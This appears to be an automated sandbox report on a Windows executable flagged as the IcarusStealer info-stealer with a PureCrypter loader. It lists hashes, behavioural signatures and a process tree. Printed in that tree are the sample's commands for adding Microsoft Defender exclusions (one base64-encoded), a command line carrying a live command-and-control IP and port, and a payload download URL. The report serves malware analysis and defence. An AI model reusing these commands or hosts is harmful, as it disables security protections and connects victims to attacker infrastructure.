Analysis

  • max time kernel
    81s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    11-02-2023 01:30

General

  • Target

    78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96.exe

  • Size

    2.5MB

  • MD5

    f3c821a1fbb4bcf479eeb1caac946127

  • SHA1

    e0f7d21c82a9b497df1cdab3313fb48b4f8d6cec

  • SHA256

    78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96

  • SHA512

    43f7fb7b8c81c968b789a6622ee1c7a84ee3425dca104be70408848464cdc329f5e94f5a3c4a7df21c59f168f50d656c8e0d59a95d62e84c5d7bb1d8a2c97b6a

  • SSDEEP

    24576:SE7fM8hdrNcPt9fSQyE32Ij6ztDUbuJ2SIB8fjPs+7px3st259FJb1neATEQyJGJ:SE3kPqQ7NgCSpNV18S/VeoEPQ6AJL

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://raw.githubusercontent.com/HiddenEyeZ/tg/main/rt.jpg

Signatures

  • Detect PureCrypter injector 1 IoCs
  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • PureCrypter

    PureCrypter is a .NET malware loader first seen in early 2021.

  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of FindShellTrayWindow 23 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96.exe
    "C:\Users\Admin\AppData\Local\Temp\78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ipconfig/release
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:112
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /release
        3⤵
        • Gathers network information
        PID:856
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:660
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1192
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ipconfig/renew
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:892
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /renew
        3⤵
        • Gathers network information
        PID:1428
    • C:\Users\Admin\AppData\Local\Temp\78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96.exe
      C:\Users\Admin\AppData\Local\Temp\78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96.exe
      2⤵
      • Modifies WinLogon for persistence
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:240
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 191.101.30.201 8081 CjGViQnrD
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2020
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1596
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1820
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1072
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:456
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Modifies Installed Components in the registry
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:1656
        • C:\Windows\system32\ctfmon.exe
          ctfmon.exe
          4⤵
            PID:1188
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x188
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1980

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      e73cd3ce60a69161b361e41a8babe85f

      SHA1

      4c9d9137e8c4ba97689f5b73ec93d340523109ab

      SHA256

      ebf3eb4729b96e0179e092157bc1eacc254d45bd45bf13e84ec408e41fe83f84

      SHA512

      53dd0e9f0810933e1a570b319a42f6345765d6e39f5828da644461b20d53042882bb759b098a0cfd4fc2ad55294968473c891f7ce9787040c7397ac736647e57

    • memory/240-69-0x0000000000400000-0x000000000046A000-memory.dmp

      Filesize

      424KB

    • memory/240-77-0x0000000000400000-0x000000000046A000-memory.dmp

      Filesize

      424KB

    • memory/240-79-0x0000000000400000-0x000000000046A000-memory.dmp

      Filesize

      424KB

    • memory/240-74-0x0000000000400000-0x000000000046A000-memory.dmp

      Filesize

      424KB

    • memory/240-73-0x0000000000400000-0x000000000046A000-memory.dmp

      Filesize

      424KB

    • memory/240-72-0x0000000000400000-0x000000000046A000-memory.dmp

      Filesize

      424KB

    • memory/240-70-0x0000000000400000-0x000000000046A000-memory.dmp

      Filesize

      424KB

    • memory/456-103-0x000000006FA00000-0x000000006FFAB000-memory.dmp

      Filesize

      5.7MB

    • memory/1116-68-0x0000000004FF0000-0x0000000005048000-memory.dmp

      Filesize

      352KB

    • memory/1116-54-0x0000000001300000-0x0000000001588000-memory.dmp

      Filesize

      2.5MB

    • memory/1116-56-0x0000000076961000-0x0000000076963000-memory.dmp

      Filesize

      8KB

    • memory/1116-55-0x0000000004990000-0x0000000004C16000-memory.dmp

      Filesize

      2.5MB

    • memory/1192-66-0x000000006FFB0000-0x000000007055B000-memory.dmp

      Filesize

      5.7MB

    • memory/1192-67-0x000000006FFB0000-0x000000007055B000-memory.dmp

      Filesize

      5.7MB

    • memory/1656-82-0x000007FEFC591000-0x000007FEFC593000-memory.dmp

      Filesize

      8KB

    • memory/1820-104-0x000000006FA00000-0x000000006FFAB000-memory.dmp

      Filesize

      5.7MB

    • memory/2020-92-0x0000000000400000-0x0000000000426000-memory.dmp

      Filesize

      152KB

    • memory/2020-94-0x0000000000400000-0x0000000000426000-memory.dmp

      Filesize

      152KB

    • memory/2020-86-0x0000000000400000-0x0000000000426000-memory.dmp

      Filesize

      152KB

    • memory/2020-83-0x0000000000400000-0x0000000000426000-memory.dmp

      Filesize

      152KB

    • memory/2020-88-0x0000000000400000-0x0000000000426000-memory.dmp

      Filesize

      152KB

    • memory/2020-87-0x0000000000400000-0x0000000000426000-memory.dmp

      Filesize

      152KB

    • memory/2020-84-0x0000000000400000-0x0000000000426000-memory.dmp

      Filesize

      152KB